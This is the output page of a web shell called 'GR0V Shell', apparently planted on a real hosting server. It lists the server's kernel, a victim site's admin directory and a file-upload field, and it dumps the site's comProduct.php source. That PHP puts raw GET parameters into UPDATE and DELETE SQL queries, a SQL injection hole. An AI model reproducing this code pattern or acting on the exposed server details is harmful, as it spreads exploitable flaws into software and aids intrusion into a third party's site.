? GR0V Shell

GR0V shell

Linux node1.dnscloudserver.in 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64

Path : /home/yogsadhna/public_html/admin/
File Upload :
Current File : /home/yogsadhna/public_html/admin/comProduct.php

<? include "include/header.php";
if($_GET['id'])
{ 
$status =$_GET['act']==0 ? 1 : 0; 
$obj->query("update comproduct set `proStatus`='$status' where `productId`='".$_GET['id']."'");
}
if($_GET['idd'])
{
$obj->query("delete from comproduct where `productId`='".$_GET['idd']."'");
}
if($_GET['page'])
$no=$_GET['page']*10-9;
else
$no=1;
?>
   <!--main page-->
   
	     <table width="100%" border="0" cellspacing="2" cellpadding="3">
           <tr>
             <td width="20%"valign="top" class="border"><? include "include/leftmenu.php" ?></td>
             <td bgcolor="#e6e4ef" id="welcomenote" align="center" valign="top">
			 <table cellpadding="4" cellspacing="0" border="0" width="90%" class="normaltext" align="center">
			   <tr bgcolor="#FFFFFF"><td align="center" colspan="5"><strong>Latest Launches  Management</strong></td></tr>
			   <tr><td colspan="5" align="right"><a href="addLatestLaunch.php"><strong><img src="images/Addproduct.jpg" border="0" /></strong></a></td></tr>	
			   <tr><td><strong>Serial No</strong></td>
			   <td><strong>Product Name</strong></td>
			   <td><strong>Status</strong></td><td><strong>Delete</strong></td>
			   <?
			             $sql="select * from comproduct";
						 $res=$obj->query($sql);
                         $num=$obj->count_row($sql);
			   if($num==0)
			   			     echo "<tr height='60'><td colspan='4' align='center'><strong>No Products</strong></td></tr>";
			    else
			   {
			    $no=1;
			      while($row=$obj->fetch_query($res))
			   { 
			     if($row->proStatus==0)
				  $status="Inactive";
				  else
				   $status="Active";
				   ?>
			  <tr><td><?=$no?></td><td><?=$row->proName?></td><td><a href="comProduct.php?id=<?=$row->productId?>&act=<?=$row->proStatus?>"><?=$status?></a></td><td><a href="comProduct.php?idd=<?=$row->productId?>">Delete</a></td></tr>
			   <? 
			   $no++;
			   }
			   }
			   ?>
			   
			   
			   		   </table>
			 
			 
			 </td>
           </tr>
        </table>
	  <!--end main page-->
	  <? include "include/footer.php";?>

T1KUS90T
  root-grov@65.21.25.53:~$